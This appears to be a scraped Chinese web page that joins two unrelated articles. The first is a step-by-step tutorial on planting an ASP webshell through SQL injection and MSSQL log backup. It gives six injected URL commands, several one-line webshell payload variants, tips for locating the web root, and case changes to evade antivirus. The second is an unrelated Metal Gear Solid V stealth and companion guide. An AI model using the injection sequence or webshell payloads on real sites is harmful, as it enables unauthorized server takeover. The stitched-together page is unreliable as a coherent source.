合金装备5潜入技巧-log备份的入侵技巧总结

一 : log备份的入侵技巧总结

当SQL注入是得到DB权限时候,接下来可以做的工作很多,象找管理员密码,后台管理这些都可以帮助你拿到WEBSHELL,但是这篇文章讲的是log备份,LOG备份出来的小马的体积小,而且备份的成功的可性很大,所以是我作为对DB权限的第一种试探方法.

但是在LOG备份中,我们经常会遇到一些很让我们头痛的问题,那就是闭合的问题,我在这里做个总结,也
好让我们对不能闭合的方法有一个全面的了解.

1.先介绍下LOG备份,这个相信大家都很熟悉了,我还是习惯在IE里直接提交,返回正常的页面就说这一步的操作就成功了,如果没有返回正常的页面,我们就可以根据IE返回的错误来找他的原因.(这里说下要将IE的错误提示给打开),LOG的格式如下所示:
http://www.site.com/xx.asp?id=xxx;alter database databasename set RECOVERY FULL
http://www.site.com/xx.asp?id=xxx;create table cmd (a image)--
http://www.site.com/xx.asp?id=xxx;backup log databasename to disk = 'c:cmd' with init
http://www.site.com/xx.asp?id=xxx;insert into cmd (a) values ('<%%Execute(request("go"))%%>')--
http://www.site.com/xx.asp?id=xxx;backup log databasename to disk = 'x:xxxxxxasp1.asp'--
http://www.site.com/xx.asp?id=xxx;drop table cmd--

分为6步操作,最容易出错的就是第4步的操作,经常返回没有闭合的问题,下面就是一些我们可以将
values中的内容可以进行更换的方式,当我们的一种方式不行的话,就可以换另一种方式,当所有的方式
都换完了,没有什么好说的,要么就放弃,要么就换另一种方式继续,想列目录找数据库下载,后台.这
里就不多说了,可以提换的内容有:
a).<%%Execute(request("go"))%%>
b).<%Execute(request("go"))%>
c).%><%execute request("go")%><%
d).<script language=VBScript runat=server>execute request("sb")</Script>
e).<%Execute(request("l"))%>
<%execute request("a")%>

2.LOG备份要注意的一些问题:
a).要注意你现在的机器是不是WEB主机,简单的方法就是翻他的目录,看有没有IIS安装的文件
b).当你确定你要找的确实是WEN主机时,就可以找他的站点目录了,这个也很重要,是步骤5的操作,如果备份到一个错误的目录,当然就没有办法访问了
c).备份成功后,你就可以试着用客户端去连接,这个地方也有人弄错,现在用的字段是go,你的客户端的
相关字段也为go
d).用ececute正常备份出来的是用错误提示的,当你的显示500错误时,请你将的IE错误提示打开,当显示
Microsoft VBScript 运行时错误 错误 '800a000d'
类型不匹配: 'execute'
时候表示你已经成功了,连接吧!!
e).还有极端的时候你备份出来的一句话被杀(当你确定你确实是备份在WEB主机的对应目录是),你可以将

上面的VALUES字段中的值做几个大小写转换,一般是没有问题的..

3.因为这篇文章用了很多前辈的东西,不敢说是原创,只能算做是讨论,我会将我所知道的东西在以后的
日子里一一更新上去..谢谢!!
4.感谢各位前辈提出这么一个好方法否则就不会有这篇文章了..


二 : 《合金装备5幻痛》潜入技巧与搭档推荐

合金装备5:幻痛》搭档哪个好?在潜入过程中如何利用地形与选择搭配是非常重要的,今天小编带来“Kevin_Ku”分享的《合金装备5:幻痛》潜入技巧与搭档推荐,下面跟小编一起来看吧。

动作潜入技巧

人物动作基本就不多介绍了

匍匐状态时的时候用,动作按键(开车,上马,爬墙键),可以完全趴下

飞扑可以直接扑到桥底下,车底下这类的小兵对声音很敏感

要小心地上的物品以防制造噪音

然后标记敌人会显示距离多少M

50M以内快速奔跑会被听见

20M以内快走会被听见

6M,以内蹲着快走会被听见下雨时蹲着快走小兵听不到

小兵打法

麻醉爆头睡晕15分钟

CQC五连击击倒敌人晕眩时间比麻醉枪久,5连击时可快速按下瞄准键,可以夺枪

CQC摔人时间最短

贴着墙角会自动靠上去,可以墙角CQC撞墙

小兵最好让他趴着,这样比较安全

在使用气球回收的时候,小兵一定要在眩晕状态,不然他会乱叫引发别人起疑

小兵智商

麻醉枪爆头多了,会戴钢盔

麻醉烟雾手雷多了  会带防毒面具

近身格斗多了  会穿重甲

突突突多了  会带盾牌

都是晚上出任务  会带夜视镜

狙击用多了 , 后期会有很多狙击侦

搭档选择

新手玩家建议选择,DD

DD-可标范围内敌人药草武器车辆(敌人包含视野看不到的,和,俘虏)

DD攻击方式按照玩家给DD选择的装备决定,可:纠缠  杀敌,击晕  致残

静静,后期任务会出现可作为搭档使用

静静需要玩家自行操作,对区域内进行,侦查,攻击,两种模式

静静标记敌人只限于她眼前所看到的  屋内,地下室,等等,无法标记(DD可以)

前期跟静静亲密度不到一定程度,无法开发消音狙击

所以很大程度上,静静开枪会引发警报,打乱玩家潜入思路

因为PO主自己也没没熟和静静的配合攻略方式在此就不多提

有劳大神们补充关于搭档静静的使用心得

关于基地po主自己也没有玩得很好在此就不献丑了

关于潜入风格由玩家自己兴趣做选择

PO主喜欢单兵作战完美潜入来完成任务

不开枪,不让小兵起疑,无警报,无杀人

这样的玩法也很刺激,也很需要耐心

在到任何一个地方时,一定要标记号所有敌人位置再去拟定作战方针迷彩类型汉化有介绍就不说了

剩下的就看玩家自己的风格去玩这款游戏

下页更精彩: 1 2 3 4
上一篇: 龙门镖局手游官网-《龙门镖局》同名网游今日开测 下一篇: 个人工作总结报告-预算员个人工作总结报告

优秀文章